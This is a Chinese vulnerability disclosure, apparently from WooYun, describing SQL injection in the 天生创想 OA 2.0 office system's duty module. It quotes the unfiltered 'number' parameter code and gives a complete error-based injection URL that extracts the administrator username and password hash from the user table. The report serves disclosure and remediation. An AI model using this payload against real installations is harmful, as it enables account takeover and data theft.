天生创想oa2.0前台用户sql注入2

漏洞详情

披露状态:

2014-01-02: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-04-02: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

文件

/duty/mod_duty.php



行38



if ($number = getGP('number','G')) { //获取参数

$wheresql .= " AND number=".$number.""; //没有进行过滤,组合进了sql语句

//echo $wheresql;

$url .= '&number='.rawurlencode($number);

}



造成注入,可报错,注入获取管理员账号密码



前台用户登入后



执行exp



/admin.php?ac=duty&fileurl=duty&menuid=31&number=123%20and%20(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20distinct%20concat(username,password)%20FROM%20toa_user%20LIMIT%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)



爆出管理员账号密码

漏洞证明:

13.jpg

修复方案:

过滤

版权声明:转载请注明来源 msx2009@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价: